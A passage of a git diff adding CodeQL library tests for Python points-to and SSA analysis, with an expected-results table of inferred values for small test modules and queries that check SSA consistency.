| z_12 = CallsiteRefinement(z_11) | *UNDEFINED* | *UNKNOWN TYPE* | +| d_globals.py:83 | g1_13 = ScopeEntryDefinition | NoneType None | builtin-class NoneType | +| d_globals.py:83 | g2_13 = ScopeEntryDefinition | int 102 | builtin-class int | +| d_globals.py:83 | g3_14 = ScopeEntryDefinition | NoneType None | builtin-class NoneType | +| d_globals.py:83 | glob_13 = ScopeEntryDefinition | *UNDEFINED* | *UNKNOWN TYPE* | +| d_globals.py:83 | set_g4_indirect_1 = FunctionExpr | Function set_g4_indirect | builtin-class function | +| d_globals.py:83 | z_13 = ScopeEntryDefinition | *UNDEFINED* | *UNKNOWN TYPE* | +| d_globals.py:85 | g4_15 = False | bool False | builtin-class bool | +| d_globals.py:87 | modinit_1 = ClassExpr | class modinit | builtin-class type | +| d_globals.py:92 | modinit_2 = DeletionDefinition | *UNDEFINED* | *UNKNOWN TYPE* | +| d_globals.py:95 | g1_14 = ScopeEntryDefinition | NoneType None | builtin-class NoneType | +| d_globals.py:95 | g2_14 = ScopeEntryDefinition | int 102 | builtin-class int | +| d_globals.py:95 | g3_15 = ScopeEntryDefinition | NoneType None | builtin-class NoneType | +| d_globals.py:95 | g4_16 = ScopeEntryDefinition | NoneType None | builtin-class NoneType | +| d_globals.py:95 | glob_14 = ScopeEntryDefinition | *UNDEFINED* | *UNKNOWN TYPE* | +| d_globals.py:95 | outer_1 = FunctionExpr | Function outer | builtin-class function | +| d_globals.py:95 | z_14 = ScopeEntryDefinition | *UNDEFINED* | *UNKNOWN TYPE* | +| d_globals.py:96 | g1_16 = ScopeEntryDefinition | NoneType None | builtin-class NoneType | +| d_globals.py:96 | g2_16 = ScopeEntryDefinition | int 102 | builtin-class int | +| d_globals.py:96 | g3_17 = ScopeEntryDefinition | NoneType None | builtin-class NoneType | +| d_globals.py:96 | g4_18 = ScopeEntryDefinition | NoneType None | builtin-class NoneType | +| d_globals.py:96 | inner_0 = FunctionExpr | Function inner | builtin-class function | +| d_globals.py:96 | z_16 = ScopeEntryDefinition | *UNDEFINED* | *UNKNOWN TYPE* | +| d_globals.py:98 | glob_16 = IntegerLiteral | int 100 | builtin-class int | +| d_globals.py:101 | g1_17 = ScopeEntryDefinition | NoneType None | builtin-class NoneType | +| d_globals.py:101 | g2_17 = ScopeEntryDefinition | int 102 | builtin-class int | +| d_globals.py:101 | g3_18 = ScopeEntryDefinition | NoneType None | builtin-class NoneType | +| d_globals.py:101 | g4_19 = ScopeEntryDefinition | NoneType None | builtin-class NoneType | +| d_globals.py:101 | glob_17 = ScopeEntryDefinition | *UNDEFINED* | *UNKNOWN TYPE* | +| d_globals.py:101 | otherInner_0 = FunctionExpr | Function otherInner | builtin-class function | +| d_globals.py:101 | z_17 = ScopeEntryDefinition | *UNDEFINED* | *UNKNOWN TYPE* | +| d_globals.py:104 | g1_15 = CallsiteRefinement(g1_14) | NoneType None | builtin-class NoneType | +| d_globals.py:104 | g2_15 = CallsiteRefinement(g2_14) | int 102 | builtin-class int | +| d_globals.py:104 | g3_16 = CallsiteRefinement(g3_15) | NoneType None | builtin-class NoneType | +| d_globals.py:104 | g4_17 = CallsiteRefinement(g4_16) | NoneType None | builtin-class NoneType | +| d_globals.py:104 | glob_15 = CallsiteRefinement(glob_14) | int 100 | builtin-class int | +| d_globals.py:104 | z_15 = CallsiteRefinement(z_14) | *UNDEFINED* | *UNKNOWN TYPE* | +| d_globals.py:107 | g1_18 = ScopeEntryDefinition | NoneType None | builtin-class NoneType | +| d_globals.py:107 | g2_18 = ScopeEntryDefinition | int 102 | builtin-class int | +| d_globals.py:107 | g3_19 = ScopeEntryDefinition | NoneType None | builtin-class NoneType | +| d_globals.py:107 | g4_20 = ScopeEntryDefinition | NoneType None | builtin-class NoneType | +| d_globals.py:107 | glob_18 = ScopeEntryDefinition | *UNDEFINED* | *UNKNOWN TYPE* | +| d_globals.py:107 | redefine_1 = FunctionExpr | Function redefine | builtin-class function | +| d_globals.py:107 | z_18 = ScopeEntryDefinition | *UNDEFINED* | *UNKNOWN TYPE* | +| d_globals.py:110 | z_19 = IntegerLiteral | int 1 | builtin-class int | +| d_globals.py:113 | glob_19 = IntegerLiteral | int 50 | builtin-class int | +| d_globals.py:118 | D_1 = ClassExpr | class D | builtin-class type | +| d_globals.py:120 | __init___0 = FunctionExpr | Function __init__ | builtin-class function | +| d_globals.py:120 | g1_19 = ScopeEntryDefinition | NoneType None | builtin-class NoneType | +| d_globals.py:120 | g2_19 = ScopeEntryDefinition | int 102 | builtin-class int | +| d_globals.py:120 | g3_20 = ScopeEntryDefinition | NoneType None | builtin-class NoneType | +| d_globals.py:120 | g4_21 = ScopeEntryDefinition | NoneType None | builtin-class NoneType | +| d_globals.py:120 | glob_20 = ScopeEntryDefinition | *UNDEFINED* | *UNKNOWN TYPE* | +| d_globals.py:120 | self_0 = ParameterDefinition | self | class D | +| d_globals.py:120 | z_20 = ScopeEntryDefinition | *UNDEFINED* | *UNKNOWN TYPE* | +| d_globals.py:123 | dict_3 = ScopeEntryDefinition | int 7 | builtin-class int | +| d_globals.py:123 | foo_0 = FunctionExpr | Function foo | builtin-class function | +| d_globals.py:123 | g1_20 = ScopeEntryDefinition | NoneType None | builtin-class NoneType | +| d_globals.py:123 | g2_20 = ScopeEntryDefinition | int 102 | builtin-class int | +| d_globals.py:123 | g3_21 = ScopeEntryDefinition | NoneType None | builtin-class NoneType | +| d_globals.py:123 | g4_22 = ScopeEntryDefinition | NoneType None | builtin-class NoneType | +| d_globals.py:123 | glob_21 = ScopeEntryDefinition | *UNDEFINED* | *UNKNOWN TYPE* | +| d_globals.py:123 | self_0 = ParameterDefinition | self | class D | +| d_globals.py:123 | z_21 = ScopeEntryDefinition | *UNDEFINED* | *UNKNOWN TYPE* | +| d_globals.py:126 | g1_21 = ScopeEntryDefinition | NoneType None | builtin-class NoneType | +| d_globals.py:126 | g2_21 = ScopeEntryDefinition | int 102 | builtin-class int | +| d_globals.py:126 | g3_22 = ScopeEntryDefinition | NoneType None | builtin-class NoneType | +| d_globals.py:126 | g4_23 = ScopeEntryDefinition | NoneType None | builtin-class NoneType | +| d_globals.py:126 | glob_22 = ScopeEntryDefinition | *UNDEFINED* | *UNKNOWN TYPE* | +| d_globals.py:126 | use_list_attribute_1 = FunctionExpr | Function use_list_attribute | builtin-class function | +| d_globals.py:126 | z_22 = ScopeEntryDefinition | *UNDEFINED* | *UNKNOWN TYPE* | +| d_globals.py:127 | l_0 = List | List | builtin-class list | +| d_globals.py:128 | g1_22 = CallsiteRefinement(g1_21) | NoneType None | builtin-class NoneType | +| d_globals.py:128 | g2_22 = CallsiteRefinement(g2_21) | int 102 | builtin-class int | +| d_globals.py:128 | g3_23 = CallsiteRefinement(g3_22) | NoneType None | builtin-class NoneType | +| d_globals.py:128 | g4_24 = CallsiteRefinement(g4_23) | NoneType None | builtin-class NoneType | +| d_globals.py:128 | glob_23 = CallsiteRefinement(glob_22) | *UNDEFINED* | *UNKNOWN TYPE* | +| d_globals.py:128 | l_1 = ArgumentRefinement(l_0) | List | builtin-class list | +| d_globals.py:128 | z_23 = CallsiteRefinement(z_22) | *UNDEFINED* | *UNKNOWN TYPE* | +| e_temporal.py:0 | __name___0 = ScopeEntryDefinition | 'code.e_temporal' | builtin-class str | +| e_temporal.py:0 | __package___0 = ScopeEntryDefinition | *UNDEFINED* | *UNKNOWN TYPE* | +| e_temporal.py:0 | x_0 = ScopeEntryDefinition | *UNDEFINED* | *UNKNOWN TYPE* | +| e_temporal.py:2 | sys_0 = ImportExpr | Module sys | builtin-class module | +| e_temporal.py:4 | f_0 = FunctionExpr | Function f | builtin-class function | +| e_temporal.py:4 | sys_1 = ScopeEntryDefinition | Module sys | builtin-class module | +| e_temporal.py:9 | arg_0 = ParameterDefinition | int 1 | builtin-class int | +| e_temporal.py:9 | g_0 = FunctionExpr | Function g | builtin-class function | +| e_temporal.py:12 | x_1 = g() | int 1 | builtin-class int | +| g_class_init.py:0 | __name___0 = ScopeEntryDefinition | 'code.g_class_init' | builtin-class str | +| g_class_init.py:0 | __package___0 = ScopeEntryDefinition | *UNDEFINED* | *UNKNOWN TYPE* | +| g_class_init.py:3 | C_0 = ClassExpr | class C | builtin-class type | +| g_class_init.py:5 | __init___0 = FunctionExpr | Function __init__ | builtin-class function | +| g_class_init.py:5 | self_0 = ParameterDefinition | self | class C | +| g_class_init.py:6 | self_1 = SelfCallsiteRefinement(self_0) | self | class C | +| g_class_init.py:7 | self_2 = AttributeAssignment 'x'(self_1) | self | class C | +| g_class_init.py:9 | _init_0 = FunctionExpr | Function _init | builtin-class function | +| g_class_init.py:9 | self_0 = ParameterDefinition | self | class C | +| g_class_init.py:10 | self_1 = AttributeAssignment 'y'(self_0) | self | class C | +| g_class_init.py:11 | self_2 = SelfCallsiteRefinement(self_1) | self | class C | +| g_class_init.py:13 | _init2_0 = FunctionExpr | Function _init2 | builtin-class function | +| g_class_init.py:13 | self_0 = ParameterDefinition | self | class C | +| g_class_init.py:14 | self_1 = AttributeAssignment 'z'(self_0) | self | class C | +| g_class_init.py:16 | method_0 = FunctionExpr | Function method | builtin-class function | +| g_class_init.py:16 | self_0 = ParameterDefinition | self | class C | +| g_class_init.py:19 | self_1 = Pi(self_0) [true] | self | class C | +| g_class_init.py:20 | self_2 = Pi(self_0) [false] | self | class C | +| g_class_init.py:20 | self_3 = phi(self_1, self_2) | self | class C | +| g_class_init.py:24 | Oddities_0 = ClassExpr | class Oddities | builtin-class type | +| g_class_init.py:24 | float_0 = ScopeEntryDefinition | *UNDEFINED* | *UNKNOWN TYPE* | +| g_class_init.py:24 | int_0 = ScopeEntryDefinition | *UNDEFINED* | *UNKNOWN TYPE* | +| g_class_init.py:26 | int_1 = int | builtin-class int | builtin-class type | +| g_class_init.py:27 | float_1 = float | builtin-class float | builtin-class type | +| g_class_init.py:28 | l_0 = len | Builtin-function len | builtin-class builtin_function_or_method | +| g_class_init.py:29 | h_0 = hash | Builtin-function hash | builtin-class builtin_function_or_method | +| g_class_init.py:32 | D_0 = ClassExpr | class D | builtin-class type | +| g_class_init.py:34 | D_1 = ScopeEntryDefinition | class D | builtin-class type | +| g_class_init.py:34 | __init___0 = FunctionExpr | Function __init__ | builtin-class function | +| g_class_init.py:34 | self_0 = ParameterDefinition | self | class D | +| g_class_init.py:35 | D_2 = ArgumentRefinement(D_1) | class D | builtin-class type | +| g_class_init.py:42 | V2_0 = Str | 'v2' | builtin-class str | +| g_class_init.py:43 | V3_0 = Str | 'v3' | builtin-class str | +| g_class_init.py:45 | E_0 = ClassExpr | class E | builtin-class type | +| g_class_init.py:46 | V2_1 = ScopeEntryDefinition | 'v2' | builtin-class str | +| g_class_init.py:46 | V3_1 = ScopeEntryDefinition | 'v3' | builtin-class str | +| g_class_init.py:46 | __init___0 = FunctionExpr | Function __init__ | builtin-class function | +| g_class_init.py:46 | self_0 = ParameterDefinition | self | class E | +| g_class_init.py:46 | self_3 = phi(self_1, self_2) | self | class E | +| g_class_init.py:48 | self_1 = AttributeAssignment 'version'(self_0) | self | class E | +| g_class_init.py:50 | self_2 = AttributeAssignment 'version'(self_0) | self | class E | +| g_class_init.py:52 | V2_2 = ScopeEntryDefinition | 'v2' | builtin-class str | +| g_class_init.py:52 | meth_0 = FunctionExpr | Function meth | builtin-class function | +| g_class_init.py:52 | self_0 = ParameterDefinition | self | class E | +| g_class_init.py:52 | self_2 = Pi(self_0) [false] | self | class E | +| g_class_init.py:52 | self_3 = phi(self_1, self_2) | self | class E | +| g_class_init.py:54 | self_1 = Pi(self_0) [true] | self | class E | +| j_convoluted_imports.py:0 | __name___0 = ScopeEntryDefinition | 'code.j_convoluted_imports' | builtin-class str | +| j_convoluted_imports.py:0 | __package___0 = ScopeEntryDefinition | *UNDEFINED* | *UNKNOWN TYPE* | +| j_convoluted_imports.py:3 | module_0 = ImportMember | Function module | builtin-class function | +| j_convoluted_imports.py:6 | x_0 = ImportMember | Module code.package.x | builtin-class module | +| j_convoluted_imports.py:9 | C_0 = ClassExpr | class C | builtin-class type | +| j_convoluted_imports.py:11 | module2_0 = ImportMember | int 7 | builtin-class int | +| j_convoluted_imports.py:13 | f_0 = FunctionExpr | Function f | builtin-class function | +| j_convoluted_imports.py:13 | self_0 = ParameterDefinition | self | class C | +| j_convoluted_imports.py:14 | x_0 = ImportMember | Module code.package.x | builtin-class module | +| j_convoluted_imports.py:16 | moduleX_0 = ImportMember | Module code.package.moduleX | builtin-class module | +| m_attributes.py:0 | __name___0 = ScopeEntryDefinition | 'code.m_attributes' | builtin-class str | +| m_attributes.py:0 | __package___0 = ScopeEntryDefinition | *UNDEFINED* | *UNKNOWN TYPE* | +| m_attributes.py:3 | C_0 = ClassExpr | class C | builtin-class type | +| m_attributes.py:5 | __init___0 = FunctionExpr | Function __init__ | builtin-class function | +| m_attributes.py:5 | a_0 = ParameterDefinition | int 17 | builtin-class int | +| m_attributes.py:5 | a_0 = ParameterDefinition | int 100 | builtin-class int | +| m_attributes.py:5 | self_0 = ParameterDefinition | self | class C | +| m_attributes.py:6 | self_1 = AttributeAssignment 'a'(self_0) | self | class C | +| m_attributes.py:8 | foo_0 = FunctionExpr | Function foo | builtin-class function | +| m_attributes.py:8 | other_0 = ParameterDefinition | C() | class C | +| m_attributes.py:8 | self_0 = ParameterDefinition | self | class C | +| n_nesting.py:0 | D_0 = ScopeEntryDefinition | *UNDEFINED* | *UNKNOWN TYPE* | +| n_nesting.py:0 | __name___0 = ScopeEntryDefinition | 'code.n_nesting' | builtin-class str | +| n_nesting.py:0 | __package___0 = ScopeEntryDefinition | *UNDEFINED* | *UNKNOWN TYPE* | +| n_nesting.py:8 | C_0 = ScopeEntryDefinition | int 1 | builtin-class int | +| n_nesting.py:8 | compile_ops_0 = ParameterDefinition | bool True | builtin-class bool | +| n_nesting.py:8 | foo_0 = FunctionExpr | Function foo | builtin-class function | +| n_nesting.py:9 | C_1 = CallsiteRefinement(C_0) | int 1 | builtin-class int | +| n_nesting.py:9 | compile_ops_1 = ArgumentRefinement(compile_ops_0) | bool True | builtin-class bool | +| n_nesting.py:10 | C_5 = ScopeEntryDefinition | int 1 | builtin-class int | +| n_nesting.py:10 | compile_ops_3 = ScopeEntryDefinition | *UNDEFINED* | *UNKNOWN TYPE* | +| n_nesting.py:10 | inner_0 = FunctionExpr | Function inner | builtin-class function | +| n_nesting.py:13 | C_7 = ScopeEntryDefinition | int 1 | builtin-class int | +| n_nesting.py:13 | compile_ops_4 = Pi(compile_ops_1) [false] | bool True | builtin-class bool | +| n_nesting.py:13 | compile_ops_5 = ScopeEntryDefinition | *UNDEFINED* | *UNKNOWN TYPE* | +| n_nesting.py:13 | inner_1 = FunctionExpr | Function inner | builtin-class function | +| n_nesting.py:15 | attrs_0 = Dict | Dict | builtin-class dict | +| n_nesting.py:16 | compile_ops_6 = phi(compile_ops_2, compile_ops_4) | bool True | builtin-class bool | +| n_nesting.py:16 | inner_2 = phi(inner_0, inner_1) | Function inner | builtin-class function | +| n_nesting.py:22 | C_9 = ScopeEntryDefinition | int 1 | builtin-class int | +| n_nesting.py:22 | f1_0 = FunctionExpr | Function f1 | builtin-class function | +| n_nesting.py:23 | C_10 = AttributeAssignment 'flag'(C_9) | int 1 | builtin-class int | +| n_nesting.py:24 | C_11 = ScopeEntryDefinition | class C | builtin-class type | +| n_nesting.py:24 | C_11 = ScopeEntryDefinition | int 1 | builtin-class int | +| n_nesting.py:24 | f1_1 = ScopeEntryDefinition | Function f1 | builtin-class function | +| n_nesting.py:24 | f2_0 = FunctionExpr | Function f2 | builtin-class function | +| n_nesting.py:25 | C_12 = CallsiteRefinement(C_11) | class C | builtin-class type | +| n_nesting.py:25 | C_12 = CallsiteRefinement(C_11) | int 1 | builtin-class int | +| n_nesting.py:26 | C_13 = ScopeEntryDefinition | class C | builtin-class type | +| n_nesting.py:26 | C_13 = ScopeEntryDefinition | int 1 | builtin-class int | +| n_nesting.py:26 | f2_1 = ScopeEntryDefinition | Function f2 | builtin-class function | +| n_nesting.py:26 | f3_0 = FunctionExpr | Function f3 | builtin-class function | +| n_nesting.py:27 | C_14 = CallsiteRefinement(C_13) | class C | builtin-class type | +| n_nesting.py:27 | C_14 = CallsiteRefinement(C_13) | int 1 | builtin-class int | +| n_nesting.py:28 | C_15 = ScopeEntryDefinition | class C | builtin-class type | +| n_nesting.py:28 | C_15 = ScopeEntryDefinition | int 1 | builtin-class int | +| n_nesting.py:28 | f3_1 = ScopeEntryDefinition | Function f3 | builtin-class function | +| n_nesting.py:28 | f4_0 = FunctionExpr | Function f4 | builtin-class function | +| n_nesting.py:29 | C_16 = CallsiteRefinement(C_15) | class C | builtin-class type | +| n_nesting.py:29 | C_16 = CallsiteRefinement(C_15) | int 1 | builtin-class int | +| n_nesting.py:30 | C_2 = ClassExpr | class C | builtin-class type | +| n_nesting.py:31 | C_3 = CallsiteRefinement(C_2) | class C | builtin-class type | +| n_nesting.py:32 | D_1 = ClassExpr | class D | builtin-class type | +| n_nesting.py:34 | C_4 = IntegerLiteral | int 1 | builtin-class int | +| q_super.py:0 | __name___0 = ScopeEntryDefinition | 'code.q_super' | builtin-class str | +| q_super.py:0 | __package___0 = ScopeEntryDefinition | *UNDEFINED* | *UNKNOWN TYPE* | +| q_super.py:1 | Base2_0 = ClassExpr | class Base2 | builtin-class type | +| q_super.py:3 | Base2_1 = ScopeEntryDefinition | class Base2 | builtin-class type | +| q_super.py:3 | __init___0 = FunctionExpr | Function __init__ | builtin-class function | +| q_super.py:3 | self_0 = ParameterDefinition | self | class Base2 | +| q_super.py:3 | self_0 = ParameterDefinition | self | class Derived4 | +| q_super.py:8 | Derived4_0 = ClassExpr | class Derived4 | builtin-class type | +| q_super.py:10 | Base2_2 = ScopeEntryDefinition | class Base2 | builtin-class type | +| q_super.py:10 | Derived4_1 = ScopeEntryDefinition | class Derived4 | builtin-class type | +| q_super.py:10 | __init___0 = FunctionExpr | Function __init__ | builtin-class function | +| q_super.py:10 | self_0 = ParameterDefinition | self | class Derived4 | +| q_super.py:14 | Base1_0 = ClassExpr | class Base1 | builtin-class type | +| q_super.py:16 | meth_0 = FunctionExpr | Function meth | builtin-class function | +| q_super.py:16 | self_0 = ParameterDefinition | self | class Base1 | +| q_super.py:16 | self_0 = ParameterDefinition | self | class Derived1 | +| q_super.py:16 | self_0 = ParameterDefinition | self | class Derived2 | +| q_super.py:16 | self_0 = ParameterDefinition | self | class Derived5 | +| q_super.py:16 | self_0 = ParameterDefinition | self | class Wrong1 | +| q_super.py:19 | Derived1_0 = ClassExpr | class Derived1 | builtin-class type | +| q_super.py:21 | Derived1_1 = ScopeEntryDefinition | class Derived1 | builtin-class type | +| q_super.py:21 | meth_0 = FunctionExpr | Function meth | builtin-class function | +| q_super.py:21 | self_0 = ParameterDefinition | self | class Derived1 | +| q_super.py:21 | self_0 = ParameterDefinition | self | class Derived2 | +| q_super.py:21 | self_0 = ParameterDefinition | self | class Derived5 | +| q_super.py:21 | self_0 = ParameterDefinition | self | class Wrong1 | +| q_super.py:24 | Derived2_0 = ClassExpr | class Derived2 | builtin-class type | +| q_super.py:26 | Derived2_1 = ScopeEntryDefinition | class Derived2 | builtin-class type | +| q_super.py:26 | meth_0 = FunctionExpr | Function meth | builtin-class function | +| q_super.py:26 | self_0 = ParameterDefinition | self | class Derived2 | +| q_super.py:26 | self_0 = ParameterDefinition | self | class Wrong1 | +| q_super.py:29 | Derived5_0 = ClassExpr | class Derived5 | builtin-class type | +| q_super.py:31 | Derived5_1 = ScopeEntryDefinition | class Derived5 | builtin-class type | +| q_super.py:31 | meth_0 = FunctionExpr | Function meth | builtin-class function | +| q_super.py:31 | self_0 = ParameterDefinition | self | class Derived5 | +| q_super.py:35 | Wrong1_0 = ClassExpr | class Wrong1 | builtin-class type | +| q_super.py:37 | Derived5_2 = ScopeEntryDefinition | class Derived5 | builtin-class type | +| q_super.py:37 | meth_0 = FunctionExpr | Function meth | builtin-class function | +| q_super.py:37 | self_0 = ParameterDefinition | self | class Wrong1 | +| q_super.py:41 | DA_0 = ClassExpr | class DA | builtin-class type | +| q_super.py:43 | __init___0 = FunctionExpr | Function __init__ | builtin-class function | +| q_super.py:43 | self_0 = ParameterDefinition | self | class DA | +| q_super.py:43 | self_0 = ParameterDefinition | self | class DC | +| q_super.py:43 | self_0 = ParameterDefinition | self | class DD | +| q_super.py:43 | self_0 = ParameterDefinition | self | class DF | +| q_super.py:46 | DA_1 = ScopeEntryDefinition | class DA | builtin-class type | +| q_super.py:46 | DB_0 = ClassExpr | class DB | builtin-class type | +| q_super.py:48 | DC_0 = ClassExpr | class DC | builtin-class type | +| q_super.py:50 | DB_1 = ScopeEntryDefinition | class DB | builtin-class type | +| q_super.py:50 | __init___0 = FunctionExpr | Function __init__ | builtin-class function | +| q_super.py:50 | self_0 = ParameterDefinition | self | class DC | +| q_super.py:51 | sup_0 = super() | super() | builtin-class super | +| q_super.py:52 | sup_1 = MethodCallsiteRefinement(sup_0) | super() | builtin-class super | +| q_super.py:55 | DD_0 = ClassExpr | class DD | builtin-class type | +| q_super.py:57 | DD_1 = ScopeEntryDefinition | class DD | builtin-class type | +| q_super.py:57 | __init___0 = FunctionExpr | Function __init__ | builtin-class function | +| q_super.py:57 | self_0 = ParameterDefinition | self | class DD | +| q_super.py:58 | sup_0 = super() | super() | builtin-class super | +| q_super.py:59 | sup_1 = MethodCallsiteRefinement(sup_0) | super() | builtin-class super | +| q_super.py:61 | DA_2 = ScopeEntryDefinition | class DA | builtin-class type | +| q_super.py:61 | DE_0 = ClassExpr | class DE | builtin-class type | +| q_super.py:63 | DF_0 = ClassExpr | class DF | builtin-class type | +| q_super.py:65 | DE_1 = ScopeEntryDefinition | class DE | builtin-class type | +| q_super.py:65 | __init___0 = FunctionExpr | Function __init__ | builtin-class function | +| q_super.py:65 | self_0 = ParameterDefinition | self | class DF | +| q_super.py:68 | N_0 = ClassExpr | class N | builtin-class type | +| q_super.py:71 | M_0 = ClassExpr | class M | builtin-class type | +| q_super.py:73 | M_1 = ScopeEntryDefinition | class M | builtin-class type | +| q_super.py:73 | __init___0 = FunctionExpr | Function __init__ | builtin-class function | +| q_super.py:73 | self_0 = ParameterDefinition | self | class M | +| q_super.py:74 | s_0 = super() | super() | builtin-class super | +| q_super.py:75 | i_0 = Attribute | super().__init__ | builtin-class method | +| s_scopes.py:0 | __name___0 = ScopeEntryDefinition | 'code.s_scopes' | builtin-class str | +| s_scopes.py:0 | __package___0 = ScopeEntryDefinition | *UNDEFINED* | *UNKNOWN TYPE* | +| s_scopes.py:0 | float_0 = ScopeEntryDefinition | *UNDEFINED* | *UNKNOWN TYPE* | +| s_scopes.py:0 | x_0 = ScopeEntryDefinition | *UNDEFINED* | *UNKNOWN TYPE* | +| s_scopes.py:4 | float_1 = True | bool True | builtin-class bool | +| s_scopes.py:5 | float_2 = phi(float_0, float_1) | *UNDEFINED* | *UNKNOWN TYPE* | +| s_scopes.py:5 | float_2 = phi(float_0, float_1) | bool True | builtin-class bool | +| s_scopes.py:7 | C2_0 = ClassExpr | class C2 | builtin-class type | +| s_scopes.py:7 | float_0 = ScopeEntryDefinition | *UNDEFINED* | *UNKNOWN TYPE* | +| s_scopes.py:7 | float_3 = ScopeEntryDefinition | *UNDEFINED* | *UNKNOWN TYPE* | +| s_scopes.py:7 | float_3 = ScopeEntryDefinition | bool True | builtin-class bool | +| s_scopes.py:7 | int_0 = ScopeEntryDefinition | *UNDEFINED* | *UNKNOWN TYPE* | +| s_scopes.py:7 | str_0 = ScopeEntryDefinition | *UNDEFINED* | *UNKNOWN TYPE* | +| s_scopes.py:9 | i1_0 = int | builtin-class int | builtin-class type | +| s_scopes.py:10 | f1_0 = float | bool True | builtin-class bool | +| s_scopes.py:10 | f1_0 = float | builtin-class float | builtin-class type | +| s_scopes.py:12 | int_1 = IntegerLiteral | int 0 | builtin-class int | +| s_scopes.py:15 | str_1 = FloatLiteral | float 1.0 | builtin-class float | +| s_scopes.py:17 | float_1 = None | NoneType None | builtin-class NoneType | +| s_scopes.py:18 | float_2 = phi(float_0, float_1) | *UNDEFINED* | *UNKNOWN TYPE* | +| s_scopes.py:18 | float_2 = phi(float_0, float_1) | NoneType None | builtin-class NoneType | +| s_scopes.py:18 | i2_0 = int | int 0 | builtin-class int | +| s_scopes.py:18 | str_2 = phi(str_0, str_1) | *UNDEFINED* | *UNKNOWN TYPE* | +| s_scopes.py:18 | str_2 = phi(str_0, str_1) | float 1.0 | builtin-class float | +| s_scopes.py:19 | s_0 = str | builtin-class str | builtin-class type | +| s_scopes.py:19 | s_0 = str | float 1.0 | builtin-class float | +| s_scopes.py:20 | f2_0 = float | NoneType None | builtin-class NoneType | +| s_scopes.py:20 | f2_0 = float | bool True | builtin-class bool | +| s_scopes.py:20 | f2_0 = float | builtin-class float | builtin-class type | +| s_scopes.py:23 | i_0 = int | builtin-class int | builtin-class type | +| s_scopes.py:24 | f_0 = float | bool True | builtin-class bool | +| s_scopes.py:24 | f_0 = float | builtin-class float | builtin-class type | diff --git a/python/ql/test/library-tests/PointsTo/new/SSA.ql b/python/ql/test/library-tests/PointsTo/new/SSA.ql new file mode 100644 index 00000000000..e9ed6864567 --- /dev/null +++ b/python/ql/test/library-tests/PointsTo/new/SSA.ql @@ -0,0 +1,10 @@ + +import python +private import semmle.python.pointsto.PointsTo +private import semmle.python.pointsto.PointsToContext +import Util + +from EssaVariable v, EssaDefinition def, Object o, ClassObject cls +where def = v.getDefinition() and +PointsTo::ssa_variable_points_to(v, _, o, cls, _) +select locate(def.getLocation(), "abcdegjqmns_"), v.getRepresentation() + " = " + def.getRepresentation(), repr(o), repr(cls) diff --git a/python/ql/test/library-tests/PointsTo/new/Sanity.expected b/python/ql/test/library-tests/PointsTo/new/Sanity.expected new file mode 100644 index 00000000000..e69de29bb2d diff --git a/python/ql/test/library-tests/PointsTo/new/Sanity.ql b/python/ql/test/library-tests/PointsTo/new/Sanity.ql new file mode 100644 index 00000000000..94c7dfa1815 --- /dev/null +++ b/python/ql/test/library-tests/PointsTo/new/Sanity.ql @@ -0,0 +1,121 @@ + +import python +import semmle.python.pointsto.PointsTo + +predicate ssa_sanity(string clsname, string problem, string what) { + /* Exactly one definition of each SSA variable */ + exists(EssaVariable var | + clsname = var.getAQlClass() | + /* Exactly one definition of each SSA variable */ + count(var.getDefinition()) != 1 and problem = " has " + count(var.getDefinition()) + " definitions." and + what = "SSA variable " + var.getSourceVariable().getName() + or + /* Backing variable */ + not exists(var.getSourceVariable()) and problem = "An SSA variable has no backing variable." and + what = "An SSA variable" + or + count(var.getSourceVariable()) != 1 and problem = var.getSourceVariable().getName() + " has " + count(var.getSourceVariable()) + " backing variables." and + what = "SSA variable " + var.getSourceVariable().getName() + ) + or + /* Exactly one location */ + exists(EssaDefinition def | + clsname = def.getAQlClass() and + what = "SSA Definition " + def.getSourceVariable().getName() + " in " + def.getSourceVariable().(Variable).getScope().getName() and + count(def.getLocation()) != 1 and problem = " has " + count(def.getLocation()) + " locations" + ) + or + /* Must have a source variable */ + exists(EssaDefinition def | + clsname = def.getAQlClass() and + not exists(def.getSourceVariable()) and + what = " at " + def.getLocation() and + problem = "has not source variable" + ) + or + /* Variables must have exactly one representation */ + exists(EssaVariable var | + clsname = var.getAQlClass() and + what = "SSA variable " + var.getSourceVariable().getName() + " defined at " + var.getDefinition().getLocation() and + count(var.getRepresentation()) != 1 and problem = " has " + count(var.getRepresentation()) + " representations" + ) + or + /* Definitions must have exactly one representation */ + exists(EssaDefinition def | + clsname = def.getAQlClass() and + what = "SSA definition " + def.getSourceVariable().getName() + " at " + def.getLocation() and + count(def.getRepresentation()) != 1 and problem = " has " + count(def.getRepresentation()) + " representations: " + def.getRepresentation() + ) + or + /* Refinements must have exactly one input */ + exists(EssaNodeRefinement ref | + clsname = ref.getAQlClass() and + what = "Refinement " + ref.getSourceVariable().getName() + " at " + ref.getLocation() and + count(ref.getInput()) != 1 and problem = " has " + count(ref.getInput()) + " inputs: " + ref.getInput().getRepresentation() + ) + or + /* Ideally filter nodes should have exactly one input, but it is not a big deal + * if we prune away the input, leaving it with none. */ + exists(EssaEdgeRefinement def | + clsname = def.getAQlClass() and + what = def.getSourceVariable().getName() + " at " + def.getLocation() | + count(def.getInput()) > 1 and problem =" has " + count(def.getInput()) + " inputs." + ) + or + /* Each use has only one reaching SSA variable */ + exists(ControlFlowNode use, SsaSourceVariable v, int c | + c = strictcount(EssaVariable s | s.getAUse() = use and s.getSourceVariable() = v) and + clsname = use.getAQlClass() and c != 1 and + what = use + " at " + use.getLocation() and + problem =" has " + c + " SSA variables reaching." + ) + or + /* Python-specific subclasses of EssaDefinitions should be disjoint and complete */ + exists(EssaDefinition def | + clsname = def.getAQlClass() and + what = def.getVariable().getName() + " at " + def.getLocation() and + problem = "has non-disjoint subclasses" | + strictcount(def.getAQlClass()) > 2 or + /* OK if method call and argument overlap: `x.foo(x)` */ + strictcount(def.getAQlClass()) > 1 and + not clsname = "ArgumentRefinement" and not clsname = "SelfCallsiteRefinement" + ) + or + exists(EssaDefinition def | + clsname = def.getAQlClass() and + clsname.prefix(4) = "Essa" and + what = " at " + def.getLocation() and + problem = "not covered by Python-specific subclass." + ) + or + // All modules should have __name__ + exists(Module m | + what = " at " + m.getLocation() and + clsname = "Module" | + not exists(m.getName()) and + problem = "does not have a name" + or + not exists(Variable v | v.getId() = "__name__" and v.getScope() = m) and + problem = "does not have a __name__ variable" + or + not exists(PyNodeDefinition def | + def.getDefiningNode().getScope() = m and + def.getVariable().getName() = "__name__" + ) and + problem = "does not have an ImplicitModuleNameDefinition" + ) + or + // Unknown value should always have the class unknownType + exists(ControlFlowNode f, ClassObject 